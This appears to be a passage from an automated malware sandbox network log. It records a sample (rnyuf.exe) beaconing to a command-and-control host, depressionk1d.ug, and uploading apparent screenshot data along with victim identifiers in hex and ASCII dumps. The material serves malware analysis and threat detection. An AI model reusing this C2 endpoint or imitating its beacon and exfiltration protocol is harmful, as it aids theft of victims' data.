Nov 12, 2021 22:23:33.305747032 CET	4497	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:33.305767059 CET	4500	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:33.378427029 CET	4571	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:33 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:33.421953917 CET	4572	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:33.448105097 CET	4572	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49838	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:33.587182045 CET	4573	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:33.612788916 CET	4573	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49839	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:33.743364096 CET	4574	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:33.768182993 CET	4574	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49840	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:33.810405970 CET	4575	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:33.810420990 CET	4575	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:33.810738087 CET	4585	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:33.810869932 CET	4588	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:33.833108902 CET	4593	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:33.833153963 CET	4599	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:33.833192110 CET	4604	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:33.833244085 CET	4607	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:33.833300114 CET	4614	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:33.855658054 CET	4616	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:33.856045961 CET	4625	OUT	Data Raw: 03 c5 28 3c d3 41 a5 26 98 ac 48 0d 3b 39 a8 f7 52 83 54 89 68 7e 69 41 a6 e6 8a a2 6c 48 0d 3b 35 18 a7 53 4c 96 87 e6 9d 9a 8f 34 a0 fb d5 5c 9b 12 03 4e 06 a2 06 9c 0d 32 5a 25 cd 00 d3 33 4a 1a 98 ac 49 9a 01 a6 73 4f 14 c9 b0 e1 52 2f 15 18 Data Ascii: (<A&H;9RTh~iAlH;5SL4\N2Z%3JIsOR/2.iY2,M54h<3<SsLICS3OwFX7TwR'}@;4L$*i<}89iAqBxZvO(n??3!T6PY?G:nf;r
Nov 12, 2021 22:23:33.903333902 CET	4685	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:33 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.4	49841	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:33.900875092 CET	4684	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:33.928198099 CET	4685	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.4	49842	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:34.072469950 CET	4686	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:34.107686043 CET	4686	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.4	49843	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:34.242913961 CET	4687	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:34.268815994 CET	4687	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:34.310746908 CET	4688	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:34.311415911 CET	4688	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:34.311439991 CET	4698	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:34.311537981 CET	4701	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:34.334235907 CET	4711	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:34.334290028 CET	4722	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:34.335625887 CET	4727	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:23:34.357436895 CET	4743	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:23:34.357515097 CET	4759	OUT	Data Raw: 31 7d 6a 99 8a 31 4e 18 ad 91 a4 47 ea 69 46 93 10 ee 69 fd 5e 64 bc 55 33 1b 8a 38 ad bf ec 98 fd 4d 28 d2 62 f5 34 fe af 31 7d 6a 99 89 c5 2e 05 6d 8d 26 2f 53 4e 1a 4c 5e f4 fe af 22 5e 2a 99 89 8a 36 d6 e7 f6 54 5e f4 bf d9 51 7b d5 7d 5e 42 Data Ascii: 1}j1NGiFi^dU38M(b41}j.m&/SNL^"^*6T^Q{}^B3m(Z4W?Z/#X]~{yGw>ovZ)3:j1X3/y,0814k/&u!VKte,m5oCKJ)gCUe}
Nov 12, 2021 22:23:34.357584953 CET	4770	OUT	Data Raw: 6a 64 f3 0c c5 2e 2a 50 86 94 25 04 f3 11 81 4f 02 9e 14 53 c0 5a 64 b9 11 85 a7 84 a7 82 a3 bd 1e 6a 0f e2 14 10 db 62 04 a7 04 a6 9b 98 87 f1 52 7d b6 31 d3 9a 77 42 e5 9b e8 4c 12 94 25 56 37 cb d8 53 7e da 4f 41 45 c3 d9 cc bd b7 14 a0 56 7f Data Ascii: jd.*P%OSZdjbR}1wBL%V7S~OAEVD+RQVW1=w}ExURQa{"h[sFM7w9J~7xqBhh$\kc%5X5.w/YsFr-IM}b]\G
Nov 12, 2021 22:23:34.358581066 CET	4780	OUT	Data Raw: 4d ef 45 30 1d 9a 5c d3 69 69 a1 0e 14 bd e9 a2 97 34 ee 21 d9 a2 9b 9a 33 4c 56 1d 9a 5c d3 33 4b 4c 56 1e 29 c2 9a 3b 52 8a 68 4c 5a 5a 4a 29 88 5a 29 28 34 08 5a 5a 4a 29 80 b9 a5 a4 a2 80 14 1a 70 a6 52 8a 68 43 fb 52 d3 41 a5 aa 24 78 34 b4 Data Ascii: ME0\ii4!3LV\3KLV);RhLZZJ)Z)(4ZZJ)pRhCRA$x4iiE474fNPH(N5Dp4id8U!N$qXp4gLZB+hEQf4s).MOZhjvsUqXwJ\hyM2lIK`4<Pj=n+
Nov 12, 2021 22:23:34.406796932 CET	4795	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:34 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49787	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:08.344082117 CET	1268	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:08.344213009 CET	1268	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:08.344470024 CET	1278	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:08.344696999 CET	1281	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:08.366966963 CET	1283	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:08.367012978 CET	1286	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:08.367077112 CET	1291	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:08.367202044 CET	1297	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
